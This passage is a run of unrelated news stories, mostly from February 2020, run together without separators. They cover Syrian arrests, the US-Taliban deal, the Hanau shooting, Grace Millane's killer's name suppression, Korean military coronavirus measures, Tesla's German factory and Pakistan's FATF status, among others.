forcibly conscripting them into the regime army, at the same time as security inspections, imposed by the checkpoints around the town, were performed on most passersby. The Military Security branch at the start of the month issued lists, which included the names of more than 150 men from the town of Kafr Batna in eastern Ghouta, to the checkpoints deployed in the town and at its outskirts, amid a security tightening. The State Security branch at the start of the year launched a campaign of raids during which it arrested more than 25 men from eastern Ghouta in the area between the city of Douma and the town of Masarba, coinciding with a security crackdown imposed by checkpoints in the city, while the Harasta Military Hospital checkpoint, which is the main entry and exit point for Douma, arrested about 15 young men from the city while they were entering the city through the checkpoint. Sowt al-Asimas team documented more than 1,200 arrests over 2019, including a number of settlement fighters and those wanted for military service, as well as a number of those wanted on various criminal charges, and women arrested after various phone calls with their families living in opposition areas in northern Syria. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Mike Pompeo Pakistan on Friday welcomed the proposed US-Taliban agreement, hoping that all parties would now seize this historic opportunity to bring a comprehensive and inclusive political settlement for durable peace and stability in war-torn Afghanistan and the region. Secretary of State Mike Pompeo on Friday said that an agreement between the US and the Taliban could come as soon as February 29 in Afghanistan. According to Pompeo, the US "reached an understanding with the Taliban" on a reduction of violence that could lead to the signing of the US-Taliban agreement next week. Pakistan's Foreign Office said the country has consistently supported direct negotiations between the US and Taliban. "From the outset, Pakistan has facilitated this process and contributed to its progress thus far. We look forward to the signing of the agreement on February 29, 2020," it said. The FO said Pakistan believed the signing of the agreement would pave the way for the next step of intra-Afghan negotiations. We hope the Afghan parties would now seize this historic opportunity and work out a comprehensive and inclusive political settlement for durable peace and stability in Afghanistan and the region, said the FO. Pakistan also reaffirmed its support for a peaceful, stable, united, democratic and prosperous Afghanistan, at peace with itself and with its neighbours. Pakistan has been playing a crucial role in the Afghan peace process and last year released senior Taliban leader Mullah Abdul Ghani Baradar from imprisonment, who is reportedly in Qatar. The FO said Pakistan was also looking forward to the international community playing its part in reinforcing the efforts for the establishment of sustainable peace in Afghanistan and helping to create conditions inside Afghanistan to enable the return of Afghan refugees from Pakistan to their homeland with dignity and honour. The US has been negotiating with the Taliban and President Donald Trump had earlier suggested there had been progress between the two sides to reduce violence in the war-torn country and end America's longest war, for 19 years where the US has lost over 2,400 soldiers. Universal health care bill advances in California Assembly AP - Tue Jan 11, 10:55PM CST SACRAMENTO, Calif. (AP) California Democrats on Tuesday took their first step toward abolishing the private health insurance market in the nations most populous state and replacing it with a government-run... $SPX : 4,713.07 (+0.92%) $DOWI : 36,252.02 (+0.51%) $IUXX : 15,844.12 (+1.47%) Bean Market Mixed on Tuesday Barchart - Tue Jan 11, 4:45PM CST Nearby soybean futures closed the Tuesday session with 1 3/4 to 2 cent gains. New crop prices closed fractionally weaker on Tuesday. Soymeal futures ended the day $2.70 to $3.20 in the red, while BO prices... RSH22 : 1,027.60 (-0.05%) ZSF22 : 1376-6s (+0.15%) ZSPAUS.CM : 13.4499 (+0.11%) ZSH22 : 1386-0 (unch) ZSX21 : 1234-0s (+1.79%) ZSPX21US.CM : 12.3270 (+1.90%) Corn Prices Firm on Tuesday Barchart - Tue Jan 11, 4:45PM CST Tuesdays action in the corn market saw prices pull back from early session gains and close a penny to 1 1/2 cents higher. Old crop ended the day back above the $6/bu mark. New crop futures were fractionally... ZCH22 : 601-2 (unch) ZCPAUS.CM : 5.8794 (+0.21%) ZCK22 : 602-4 (unch) ZCZ21 : 588-6s (+0.77%) ZCPZ21US.CM : 5.7930 (-0.49%) Wheat Market Higher at Tuesday Close Barchart - Tue Jan 11, 4:45PM CST Domestic wheat futures extended the bounce back through the Tuesday close. CBT SRW ended the day with 8 1/4 to 9 3/4 cent gains, taking March up 34 3/4 cents off Fridays low. KC HRW futures went home... ZOH22 : 658-0 (+0.30%) ZWH22 : 769-0 (-0.16%) ZWPAES.CM : 7.2914 (+1.20%) KEH22 : 792-4 (unch) KEPAWS.CM : 7.7301 (+1.78%) MWH22 : 932-2 (+0.43%) Ziyuan Zhong, 22, was charged by Iowa City police with driving under the influence and possession of nitrous oxide on Monday An Iowa woman has been charged with DUI and possession of nitrous oxide after she was pulled over in a luxury car littered with hundreds of empty Whip-Its canisters. Ziyuan Zhong, 22, was arrested by Iowa City police on Monday evening after they noticed she was behind the wheel of the 2014 Maserati coupe that had a 'driving status of barred'. When talking with Zhong, officers noticed she appeared under the influence and had 'bloodshot, watery eyes, dilated pupils, impaired speech, and impaired balance.' According to the arrest report, there were 'several hundred spent Whip-It brand nitrous oxide canisters in the defendant's vehicle, as well as three dispensers for the canisters'. While Zhong passed a breath test, police subsequently conducted a 'drug influence evaluation' and found her to be under the influence of an inhalant. She later admitted to police that she inhaled 50 to 75 cans of nitrous oxide between 3pm and 7pm that evening. According to The Smoking Gun, Zhong further confessed to inhaling upwards of 200 canisters per week because they 'make her feel good'. Nitrous oxide, commonly known as laughing gas, is often inhaled by people seeking a brief high. While inhaling the gas may produce uncontrolled laughter and a feeling of euphoria, it can also cause confusion, light-headedness and even sudden death, according to the Alcohol and Drug Foundation. Nitrous oxide, commonly known as laughing gas, is often inhaled by people seeking a brief high Long-term abuse of nitrous oxide can cause memory loss, limb spasms and psychosis. Zhong was charged with driving under the influence, possession of a fake ID, and possession of nitrous oxide. She is being held without bond. Kevin Lamarque/Reuters Intelligence officials briefed House lawmakers last week that Russian actors were interfering in the 2020 elections, once more to the benefit of Donald Trump. The contents of the briefing, which was first reported by The New York Times, sparked a series of dramatic events that have further eroded relations between Hill Democrats and the White House, and prompted the presidentit appearsto appoint a top political ally to oversee the nations national security apparatus. The meeting, which took place on Feb. 13, was conducted for the House Intelligence Committee by an aide to the outgoing acting Director of National Intelligence Joseph Maguire. According to a legislator who was present, the aide, Shelby Pierson, Maguires election security chief, described a Russian elections-intrusion effort that never stopped from 2016. It continues with the same target, and the same purpose, and its clear that they [the Russians] favor one candidate over the other, is how the lawmaker described it. The Republicans [on the committee] went nuts, over Piersons presentation, the member told The Daily Beast. A second source familiar with the briefing said that Republicans didnt understand why the Kremlin would try to boost Trump, since he had been so tough on Russia, in their view. Reps. Brad Wenstrup (R-OH), Will Hurd (R-TX) and Chris Stewart (R-UT)who, according to The Times, has been a Trump favorite to replace Maguirewere particularly vocal in their skepticism, the member said. A spokesperson for Wenstrup said the congressman does not comment on classified or closed-door matters before the Intelligence Committee. Spokespersons for Stewart and Hurd did not immediately respond to a request for comment. Word of the meeting trickled back to the White House. And in the wake of the briefing, Trump forced out Maguire, whose tenure was set to expire next month. Other major changes are soon to follow. According to several sources, including one former high-ranking intelligence official, ODNI Principal Executive Andrew Hallman is departing, as is ODNI General Counsel Jason Klitenic. Klitenic's last day is March 2, a DNI spokesperson said. Hallman is returning to the CIA, sources said. The Times first reported on Hallmans pending departure. Story continues Hallman, who is a legend and one of the most honest and truthful and experienced and acknowledged persons in the entire intelligence community system, said the official, who is in a position to know the coordinating of the effort throughout the intelligence community. Andrew Hallman is a national treasure. In addition, Kash Patel, the former aide to Rep. Devin Nunes who helmed efforts to push back against the FBI's Trump-Russia investigation, has just started working in the ODNI, a former intelligence official told The Daily Beast. On Tuesday, the president announced that he was appointing Richard Grenell, a pugnacious political ally and current ambassador to Germany, as his acting head of ODNI. The news of Grenells forthcoming appointment had been circulated inside the walls of the White House for several days before the official announcement. Grenell was alerted to Trumps final decision earlier in the week. Still, the announcement came as a surprise to current and former ODNI officials who said they were concerned about Grenell taking over the helm as acting director given his lack of experience in intelligence. One former senior intelligence official said Trumps decision to tap Grenell was disrespectful to the intelligence community. Its an essential role. And it calls for someone who can gather unbiased intelligence, the former official said. The ambassador was basically shut out of every meeting he had in Germany. He wasnt respected by anyone. Perhaps he doesnt understand the role the importance of establishing intelligence relationships. It requires the person to gather true, unbiased facts of how foreign leaders think. A senior intelligence official told The Daily Beast that they expected Grenell to play a small role in day-to-day office decisions and to liaise directly with the White House on policy questions. But in Democratic circles, his appointmentcoming on the heels of the contentious Feb. 13 briefingsent immediate shockwaves along with fears of a rerun of the Russian interference efforts that muddied the 2016 elections. Isnt that absolutely incredible? Predictable but incredible, former Senate Majority Leader Harry Reid (D-NV) said in a phone interview that had been scheduled to discuss the impending Nevada Democratic caucus. They are doing it again and I don't know if we have the tools to stop it. On Capitol Hill, there were fears that the White House was now moving to cut off Democratic lawmakers from full briefings on Russian electoral meddling effortsa fear that the former high-ranking intelligence official said was entirely legitimate. The president said he didnt want any more briefings like this, the former official said. This is four years of this. We took an oath of office, so help me God. That oath did not include, It is OK to lie to the president to make him feel better. Rep. Mike Quigley, an Illinois Democrat on the House Intelligence Committee, expressed concern that Pierson and others within and beyond the intelligence community are in jeopardy for upsetting the president in the course of attempting to do their jobs. Since his acquittal in the impeachment trial, Trump has forced out officials whom he perceived as his enemies, including Lt. Col. Alexander Vindman, Ambassador to the European Union Gordon Sondland, and Undersecretary of Defense John Rood. If you dont agree with the king, youre gone, Quigley told The Daily Beast. That has a chilling effect on people being willing to tell the truth, and that makes us less safe. National security officials have long cautioned that Russia would likely interfere again in the U.S. elections. Former Secretary of Defense Jim Mattis confirmed that Moscow had interfered in the 2018 midterms. Former Trump officials acknowledge the threat by Russia but also warned against threats from other countries. Because of the way our society functionsthe fact that we have a free press and free speechunfortunately our elections are susceptible to interference, said Tim Morrison, a senior fellow with the Hudson Institute and the former senior official at the national security council. And since were not going to change the way we operate our elections there will always be that concern. But Id encourage people to also look at the threats posed by China. Theyre interfering in congressional districts. Russia isnt the only malign actor. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. I t has been more than three months since the killer of British backpacker Grace Millane was convicted of her murder and on Friday he was handed a life sentence, with a minimum term of 17 years, yet New Zealanders still do not know who he is. It was a crime that shocked the tiny nation, especially because it takes great pride in its international reputation and has an economy that relies heavily on tourism. Prime Minister Jacinda Ardern even 'apologised' for the killing. The trial has received blanket coverage in New Zealand, delving deeply into Miss Millane's history and what happened on the night she was killed. Yet the reports all omitted that one key detail: the killer's name Jesse Kempson. The Uk can name her killer / @millanegrace Instagram Why was Grace Millanes killer granted anonymity? New Zealand's courts have a far more relaxed regime than British courts when it comes to banning the publication of an accused's name. Jesse Kempson won what is called an interim name supression order at his first hearing back in December 2018. The judge at the Auckland High Court had turned down his application for it but because his defence team appealed, an order was then put in place for 20 working days. Justice Simon Moore, who ended up presiding over the murder trial, then heard arguments about continuing the order and decided to extend it until further notice. Expectations that it would be lifted when Kempson was convicted back in November last year, and then when he was sentenced on Friday did not come to fruition. As it stands, there is still no date when Justice Moore will allow New Zealanders to (legally) know the identity of the killer. Under what circumstances can someone be given anonymity? New Zealand law lists the reasons for not naming a defendant. The rules dictate that a court has to be satisfied that reveling the identity would cause one of the following outcomes: Cause extreme hardship to the person charged. Cast suspicion on another person that may cause undue hardship to that person. Cause undue hardship to any victim of the offence. Create a real risk of prejudice to a fair trial. Endanger the safety of any person. Lead to the identification of another person whose name is suppressed by order or by law. Prejudice the maintenance of the law, including the prevention, investigation, and detection of offenses. Prejudice the security or defence of New Zealand. Why wasnt the murderer identified when they were convicted or sentenced? The order remains in place until the judge lifts it. The legal reasons for Justice Moore's decision have been given in court but this too is being kept secret. What punishments are there for those who breach the order? Under the Criminal Procedure Act, punishments can include a six-month jail sentence and a fine of up to NZ$100,000 (49,000). Police have so far investigated several alleged breaches but only one person has been charged. Restaurateur Leo Molloy pleaded not guilty to breaching a suppression order. His name has been reported in New Zealand while Kempson's has not. Has anyone reported his name? Yes. Some outlets outside of New Zealand, including the Evening Standard, have printed the name of the murderer, as have people on social media. However, they have not committed an offence because New Zealand's laws only pertain to people or organisations within its legal jurisdiction, despite complaints from the country's justice minister Andrew Little. Titles, including the Evening Standard, have geo-blocked articles about Kempson to prevent readers in New Zealand being able to read them. How are things different in the UK? Appointment 21 February 2020 Michel Cottray, who has been responsible for Steigenberger Wiltcher's in Brussels since October 2017, has given the traditional hotel a new impetus and led it to a very good performance and a new level of service. In addition, he and his team have set creative accents with the new Steigenberger Cocktail Competition and successfully completed the renovation of the hotel as part of the Evolution Steigenberger. The luxury hotel, located in the heart of Brussels, has been shining in new splendour since September 2019 and, under his management, has once again become the city's 'place to be' where Brussels' most prestigious events take place. This article originally appeared in the New York Times ATLANTA The bad news is that truth has become something of a political refugee in Washington. The good news is that a Republican wants to give it sanctuary in the state Capitol. Jeff Mullis of Chickamauga, chairman of the powerful Senate Rules Committee, is pushing a measure that would most strongly request that witnesses coming before Georgia Senate committees be truthful and honest in all testimony. Proven liars could be cited for contempt and barred from giving testimony during the remainder of the two-year session. Senate Resolution 459 recommends that repeat offenders be banned for life by future senators. I just want people to realize that theyre subject to getting in trouble if theyre lying. Itll be a deterrent if nothing else, Mullis said. If were going to make laws, we need to get the correct information, and not somebody thats trying to beat the system. Members of the House and Senate would not be covered under Mullis legislation. Their speech is constitutionally protected, whether true, false or anywhere in between. This truth push is bipartisan. The second signature on the measure belongs to state Sen. Zahra Karinshak, D-Duluth, who is also a candidate for the 7th District congressional seat. SR 459 was introduced by Mullis last year, but received its first hearing Feb. 18 before the Senate Ethics Committee. The North Georgia senator insists that his legislation has nothing to do with the fact-free climate now roiling the nations capital. In fact, a bobble-headed President Donald Trump, with a red MAGA cap, is on prominent display in Mullis fourth-floor Capitol office. That said, Mullis and I spoke one day before Roger Stone, a longtime Trump friend and ally, was sentenced to three years and four months in a federal prison for lying to Congress and tampering with a witness. One day before a U.S. District judge, whom Stone stood before, found it necessary to say, The truth still exists. The truth still matters. Roger Stones insistence that it doesnt, his belligerence, his pride in his own lies are a threat to our most fundamental institutions, to the foundations of our democracy, the judge said. It is illegal to tell lies in the U.S. Capitol, and when the machinery is oiled properly, there is an entire U.S. Justice Department that will hunt you down when you do. It is not illegal to tell lies in your state Capitol, which is far more vulnerable to those who peddle untruths. The 236 lawmakers gathered inside each winter are part-timers with skeletal, often part-time and underpaid staffs. Generally speaking, legislators have three primary sources of information: An administration run by the governor, lobbyists, and regular citizens. I think when you come to testify before a committee, you should be aware that you should be telling the truth. As a former federal prosecutor, I think thats important, said Karinshak, the measures Democratic sponsor. Because we do make decisions based on what we hear. Reputation is the current enforcement mechanism. Neither Karinshak nor Mullis were willing to name names when it comes to known liars at the Capitol. Karinshak, elected to the Legislature in 2018, would only speak of suspicious instances shes witnessed. Yet truth-telling is an issue that state lawmakers have wrestled with for decades. Even now, skeptics argue that the only way to ban lying in the state Capitol is to also outlaw breathing. Back in the early 00s, Tom Bordeaux of Savannah, the Democratic chairman of the House Judiciary Committee, began swearing in every witness who appeared before him. Senate Democrats were incensed, accusing him of character assassination. Retaliation was threatened. The practice ended. In 2009, state Sen. Ed Tarver of Augusta, who would go on to become a federal prosecutor and is now a Democratic candidate for the U.S. Senate, introduced a bill that would have made lying to the Legislature a felony. It passed the GOP-controlled Senate with only a single dissenting vote, and was promptly gutted in the Republican-led House. Mullis said he began pushing for legislation to require truth-telling three or four years ago. But he could never get the green light from Lt. Gov. Casey Cagle. In fact, some lawmakers then and now have raised legitimate concerns. Intimidation is one. We want to encourage people to come forward and talk, one told me. Connected to that worry is the question of who determines what is and isnt a lie. Mullis bill does not exactly criminalize prevarication, so law enforcement would not be involved. One possibility is that a bipartisan subcommittee of the Senate Ethics Committee, which is now considering the legislation, could act as the chambers lie detector. One assumes that such a panel would ignore the pro forma fibbing that goes on in the Capitol, such as: This bill will do one thing and one thing only. The trial lawyers are OK with this. This is a compromise. Instead, there is the hope that any policing would concentrate on lies of substance. But even this has its hazards. One of the few lobbyists to speak up for Mullis legislation last week was Neill Herring, lobbyist for the Georgia chapter of the Sierra Club. He supports the aim of the resolution, but cautions that some witnesses at the Capitol are not wholly responsible for what they say. At budget subcommittee hearings, when agency people are presenting their cases, theres a lot of fiction, misrepresentation, significant omission, and some outright lying, Herring said. But its all at the direction of their superiors. Theyre just following orders. We need an exception for these people. Theyre being sent over here to do it, and they lose their jobs if they dont, Herring said. I want to participate in the bill writing, and I want to go after the people who are directing people to misrepresent facts to the Legislature. They need to be upbraided. Mullis anticipates that his anti-lying legislation will come out of committee soon. As rules chairman, Mullis determines what measures get to the chamber floor. Which greatly increases the odds that SR 459 will come to a vote by the full Senate. What comes out of the Legislature is completely dependent upon what lawmakers are told during their 40-day session, the senator said. Right or wrong, good or bad, thats a fact. What we dont know is the problem. We ask the question they need to give us the answer, or they need to say, I dont know that answer, instead of making it up, Mullis said. I want us to have the most clear, precise, correct information we can get. And I think if we get somebody testifying under oath, itll be close to that. Story Filed By Cox Newspapers For Use By Clients of the New York Times News Service By PTI LONDON: Ireland's Indian-origin Prime Minister Leo Varadkar resigned from his post on Friday after a crushing defeat in a parliamentary vote, which failed to garner him enough supporters for re-election. Varadkar, whose father was born in Mumbai, visited Irish President Michael D Higgins in Dublin to tender his resignation as Taoiseach as the Prime Minister is known in Ireland. The 41-year-old will stay on as caretaker PM until a new administration is in place following a General Election earlier this month which failed to throw up a clear majority for any party. Varadkar's liberal-conservative Fine Gael party took a battering in the face of an unprecedented surge in the fortunes of the republican Sinn Fein. The lower house of the Parliament in Dublin, or the Dail Eireann, reconvened on Thursday following the inconclusive election on February 8 and was suspended again for two weeks until March as parties continue efforts to form a new government. While his party had re-nominated him, Varadkar got only 36 votes in the 160-seat chamber on Thursday making his resignation inevitable. In comparison, Mary Lou McDonald, the President of Sinn Fein, got 45 votes, and Micheal Martin, the leader of Fianna Fail, received 41. McDonald has said she will continue negotiations to form a Left-wing coalition government, although her efforts are likely to fall short of the 80 MPs needed to form a majority because both Fine Gael and Fianna Fail have refused to align with the party associated with the Irish Republican Army (IRA) of the past. Meanwhile, Varadkar has said his caretaker government would not make new policy decisions or appointments unless absolutely necessary. "The responsibility is now on all of us to provide good government and, indeed good Opposition, because that's what the people have every right to expect, said Varadkar. "The government will continue to carry out its duties until a new government has been appointed. I will likewise continue as Taoiseach until the election of that new government," he said. A former general practitioner, Varadkar became the country's youngest and first openly gay Prime Minister in 2017. He has kept his Indian connect alive over the years, completing an internship at the King Edward Memorial Hospital in Mumbai. He is expected to handle the Brexit brief and oversee negotiations around the UK's future relationship with the European Union (EU) in any new Irish coalition Cabinet if his party Fine Gael joins in. Senior AAP leader Sanjay Singh on Friday alleged that the law and order situation in capital 'deteriorated' after Amit Shah became the Home Minister. "The law and order situation of Delhi has changed from bad to worse after Amit Shah became Home Minister," said Sanjay Singh at a press conference here. He also accused the Bharatiya Janata Party (BJP) of playing divisive politics. "BJP is playing divisive politics in the entire country, it is creating rift between Hindus and Muslims," he said. Meanwhile, speaking over US First Lady Melania Trump's slated visit to a Delhi school, Singh said, "The work that the Kejriwal government has done is being talked about not only in Delhi or India but throughout the world. Its a matter of honour for us that the US First lady is coming to see the happiness class of a Delhi government school." The AAP leader said that the Delhi government's mohalla clinic model is being adopted by different states. "Our mohalla clinic model is being adopted by different states. Our education model is appreciated by the Maharashtra and Jharkhand and they are thinking about adopting it," Singh added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Ministry of Defense will restrict all enlistees from vacationing and staying outside their bases overnight, beginning Saturday. The decision was made during a meeting presided over by Defense Minister Jeong Kyeong-doo, center, at the ministry on Yongsan-gu, Seoul, Thursday. Yonhap By Yi Whan-woo The Ministry of Defense is beefing up efforts to stop the deadly coronavirus from spreading further into barracks, after cases of infection were confirmed at the Army, Navy and Air Force. From Saturday, the ministry will restrict all enlistees from vacationing or staying outside their bases. "The decision is made in accordance with a meeting Thursday, presided over by Defense Minister Jeong Kyeong-doo," a ministry official said Friday. The measure comes after three cases of infection were confirmed in the military one each in the Army, Navy and Air Force Friday, when the country's first coronavirus death was reported. All three infected military personnel visited or contacted people from Daegu, where the number of cases increased sharply this week. Many of the cases confirmed so far happened in Daegu or the surrounding North Gyeongsang Province. According to the Korea Centers for Disease Control and Prevention (KCDC), a sailor, 22, showed symptoms of coughing after visiting his home in Daegu from Feb. 13 to 18 and returning to his Navy base on Jeju Island. He has since been hospitalized. In Jeungpyeong, North Chungcheong Province, an Army officer was confirmed to have the virus and was taken to a military hospital. It was the first coronavirus case in the country's central region. The officer met his girlfriend in Daegu while on vacation. The girlfriend attends Shincheonji Church of Jesus, the same church attended by the country's 31st patient and is considered a "super spreader," according to KDCC officials. An Air Force soldier serving in Gyeryong, South Chungcheong Province, was confirmed to have the virus and was transferred to a military hospital. How he was infected is not yet known. The Air Force Academy asked cadets remain in dorms to make sure they do not come into contact with outsiders, after a parent of a new cadet was infected with coronavirus. The parent was from North Gyeongsang Province. Korea confirmed its first coronavirus case on Jan. 20, after the outbreak started in Wuhan, China. All military personnel who recently visited China have been subject to examination, as the minimum incubation period for the virus is about 14 days. The military also set up a center for preventive measures and maintains a hotline with health authorities. It has scaled down its participation in a multinational exercise in Thailand as the coronavirus continues to spread in Southeast Asia. The 39th Cobra Gold exercise, co-sponsored by Thai and U.S. armed forces, is scheduled to be held from Feb. 26 through March 6. The Korean Navy and the Marine Corps initially planned to send about 470 service personnel, eight assault amphibious vehicles and a naval ship. It has decided to send only 30 personnel. BERLIN (dpa-AFX) - Tesla Inc. has received a German Court approval, allowing the electric car maker to continue to clear a forest area to build its Gigafactory in the country. A Berlin-Brandenburg court ruled that the company can continue to cut down trees at a forest site in Gruenheide. According to the court, local authorities have met legal requirements to allow early construction. The lawsuit was filed by environmental group Gruene Liga Brandenburg that alleged that the factory could pollute the area's drinking water. They claimed Tesla and local authorities were sidestepping regulations to rush the project. In early February, Brandenburg's environment ministry granted Tesla preliminary approval to start cutting down trees on the 300-hectare site for the new manufacturing plant. Meanwhile, the court on February 15 temporarily halted the tree felling process with an injunction due to environmental concerns. Other environmental activist groups also have voiced concerns that the deforestation could threaten local wildlife. Tesla says on its website that it plans to replant an area three times as large as the factory site. Tesla reportedly has cut down two-thirds of the trees already, and expects to start construction of the site before March, when a crucial breeding period for local wildlife will start. The company plans to get ready the plant by the middle of next year. According to reports, Tesla has still not received permission to build the factory, but has been allowed to make site preparations at its own risk. In November 2019, Tesla CEO Elon Musk had announced plans to build its next factory in Germany, which would be a 'Gigafactory.' Musk also said Tesla was planning an engineering and design center near Berlin's new airport. Tesla plans to make its Model 3 electric sedans and the Model Y, a crossover SUV, at the German factory. The proposed $4-billion Gigafactory factory would be Tesla's first Gigafactory in Europe and its fourth in the world. Tesla has two other vehicle factories in the U.S. and one in China. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Germany's top security official said Friday that authorities will step up the police presence throughout the country and keep a closer watch on mosques and other sites after the racially motivated shootings that killed nine people. A 43-year-old German man fatally shot the victims of immigrant backgrounds in the Frankfurt suburb of Hanau on Wednesday night before killing his mother and himself. The man, identified as Tobias Rathjen, left a number of rambling texts and videos espousing racist views and claiming to have been under surveillance since birth. Interior Minister Horst Seehofer said state-level security officials and security agencies he consulted Thursday agreed to increase the law enforcement presence around the country. Seehofer said there would be more surveillance at "sensitive sites," including mosques, and a high police presence at railway stations, airports and borders. The attack came amid mounting concern about far-right extremism reflected in earlier attacks and the rise of the anti-migrant party Alternative for Germany, or AfD. Thousands of people gathered in cities across Germany on Thursday evening to hold vigils for the shooting victims as calls grew for authorities to crack down on far-right extremism. A top official in the center-left Social Democratic Party, a junior partner in Chancellor Angela Merkel's governing coalition, accused AfD of providing ideological fodder to people like the Hanau shooter. "One person carried out the shooting in Hanau, that's what it looks like, but there were many that supplied him with ammunition, and AfD definitely belongs to them," Lars Klingbeil told German public broadcaster ARD on Friday. Parts of Alternative for Germany already were under close scrutiny from Germany's domestic intelligence agency. The party has rejected all responsibility for far-right attacks, including an anti-Semitic attack on a synagogue and the killing of a regional politician last year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 13-year-old boy has died after being hit by a ute while trying to cross a busy road south-west of Brisbane on Friday afternoon. Emergency services were called to the scene at Sinnathamby Boulevard in Springfield about 3.25pm after reports of the incident. Police say early investigations suggest the teenager was trying to cross the road on his scooter when he was hit by the vehicle. "Emergency services rendered first aid to the boy before he died on scene a short time later," police said in a statement. by Melani Manel Perera This follows the US decision to bar Sri Lankan army chief accused of war crimes. The UNHRC commissioner calls for compliance with international rules. Local NGO calls on the authorities to admit to past crimes. Colombo (AsiaNews) Sri Lanka has decided to withdraw its support for United Nations Human Rights Council Resolution 30/1 in retaliation against the United States. Prime Minister Mahinda Rajapaksa said that this is due to a recent decision by the United States to bar entry to the United States of the Commander of the Sri Lanka Army chief and his immediate family. General Shavendra Silva is accused of human rights violations in the later stages of the countrys civil war (1983-2009). Even though we are now in the 21st Century, even members of his family who have not been accused of any wrongdoing, have been subjected to a collective punishment reminiscent of the practice in medieval Europe, the Prime Minister said. Mr Rajapaksa goes on to describe the agreement that led to the approval of the resolution in October 2015 as an historic betrayal as it treats our armed forces as violators of human rights. UNHRC Resolution 30/1 of 2015 on Promoting reconciliation, accountability and human rights in Sri Lanka commits Sri Lankan authorities to finding the people responsible for serious crimes against humanity committed during the civil war. It also welcomes the initial steps taken to return land and the efforts at reconciliation, and encourages the promotion and protection of human rights. Reacting to Sri Lankas decision, UN High Commissioner for Human Rights Michelle Bachelet called on the Sri Lankan government to fully implement the resolution and to continue working with other international human rights bodies. In Sri Lanka, the National Peace Council, a local NGO, is also urging the countrys authorities to maintain their commitment to national reconciliation and outlines an alternative road map that starts, first of all, from the admission of crimes and violations committed in the past. Berlin, Germany More than a thousand people took to the streets in the German capital, expressing their sadness, anger and solidarity following a far-right attack at two shisha bars in Hanau, in which nine people were killed. Less than 24 hours after Wednesdays attacks, on Thursday evening, Berliners chanted anti-fascist slogans, as they rallied in Neukolln, an area southeast of the capital and home to large Turkish, Arab and other German minority communities. Hanau, a commuter town close to Frankfurt nearly 600 kilometres (373 miles) southwest of Berlin, was thrown into a state of shock and mourning as authorities identified the perpetrator as Tobias Rathjen, 43, a man with a deeply racist mindset. He killed his mother before shooting himself. Condemning the violence, German Chancellor Angela Merkel said: Racism is a poison; hate is a poison. This poison exists in our society, and its to blame for too many tragic events. A sombre mood could be felt across the capital a day after the attack. The big news from Germany on Thursday was expected to be the opening of the 70th Berlinale International Film Festival, one of the citys biggest annual cultural events. Berlinale festival organisers expressed their sympathy on Twitter: With great dismay, the Berlinale learned of the fatal attack in Hanau. Our deepest sympathy goes to the victims & their families. We stand for tolerance and hospitality. We oppose violence and racism. At todays opening, we will commemorate the victims with a minute of silence. There is still a big Nazi presence here. As a person affected by right-wing terror, I can't sleep at night. Many of us are afraid. Ferat Ali Kocak, anti-racist activist Tina Glantz, a feminist activist, rallied in Berlin. She told Al Jazeera it was important to stand with victims of racial crimes. I came in solidarity with all the people experiencing racism and violence every day through and within our system, she said. Its not just the far right the government, police, secret service and civil society are also based on a racist system. Many people are losing trust in government structures and using people they consider not German as their scapegoats. I came today in resistance and solidarity because times will get harder and we need to stand together. The nine victims all had minority backgrounds, including people with Kurdish origins and Turkish citizens. Gokay Sofuoglu, the federal chairman of Die Turkische Gemeinde in Deutschland (or The Turkish Community in Germany), a prominent organisation in Berlin that works to promote the interests of the countrys large Turkish community, called on authorities to do more to tackle the growing threat of far-right violence. The declared goal of right-wing extremist terrorists and their parliamentary arm, the AfD, is to destabilise our democracy and create civil war-like conditions, he said, referring to the far-right Alternative for Germany party. Security authorities need to concentrate fully and permanently on right-wing extremism. People affected by racism, discrimination and racist violence have to feel protected by this country and this constitution. As a first step, we are calling for a parliamentary committee of inquiry to deal with right-wing terrorism and racism. For many Berliners, the fact that the attacks took place in shisha bars popular hangout spots for many young German minorities was particularly troubling. In recent years, authorities in the capital have increasingly raided shisha bars in areas like Neukolln in attempts, they say, to crack down on organised criminal gangs. Opposition voices, including some local politicians, have criticised the frequency of the police raids, and say they stigmatise entire communities. M E, who did not want to give his full name, owns a shisha bar in Neukolln. He told Al Jazeera that authorities raided his establishment at least twice last year, which made him feel very unsafe. The Hanau attack has underscored his fears. He said: During the police raids, armed officers rush in and order all guests to the ground. Everybody is searched and the only thing the officers take are legal tobacco products. The raids do not lead to anything positive, on the contrary, the guests are left feeling angered and insecure. I was surprised and disappointed about what happened in Hanau, but I think with many recent negative stories about minorities and Muslims, the local media have normalised such hatred towards shisha bar owners and guests. People attend a vigil for the victims of a shooting in Hanau, near Frankfurt, Germany, February 20, 2020 [Kai Pfaffenbach/Reuters] Vykinta Cybaite, a Lithuanian who works at Masaya shisha bar, in the same area, said: The shisha bar is presented as a threat by the media, places that are run and visited by foreigners. The raids are a reflection of extreme right-wing opinions, and I worry that soon shisha bars in Berlin will become targets for racist attacks. Across the country, concerns are mounting over the rising number of far-right crimes. Ferat Ali Kocak is an anti-racist activist and vice speaker with the Die Linke political party. Two years ago, Kocak woke up in the middle of the night to find his car set alight, in a suspected far-right attack. The intelligence agency confirmed that neo-Nazi groups were spying on him prior to the arson. We were lucky that we survived and only did so because I woke up at three in the morning, he said. The perpetrators set the car on fire because they knew the fire would spread. It wasnt an attempt on my car, it was an attempt on mine and my familys life. He says events in Hanau have deepened an atmosphere of fear and grief. Im also angry that something like this has happened because attacks like this have occurred before. There is still a big Nazi presence here. As a person affected by right-wing terror, I cant sleep at night. And I think many affected people feel the same way. Many of us are afraid. Pak to remain on grey list until June 2020 India oi-Vicky Nanjappa New Delhi, Feb 21: Pakistan will stay in the grey list until June 2020. If it fails to act on terror funding and money laundering, it will be downgraded to the black list. This was decided at the plenary of the FATF, which concluded on Thursday at Paris. Pakistan was told that it could end up in the black list if it failed to complete its 27 point action, according to sources. On Wednesday China joined India and the US to send a strong message to Pakistan to act on terror funding. Saudi Arabia too has joined the above mentioned countries and has told Pakistan to complete its commitments on action against terror funding and money laundering given by the Financial Action Task Force. FATF: Now China, Saudi Arabia set new deadline for Pakistan Sources tell OneIndia that only Turkey held out in the end. This is an important development as China too has spoken out against Pakistan. This development clearly means that Pakistan 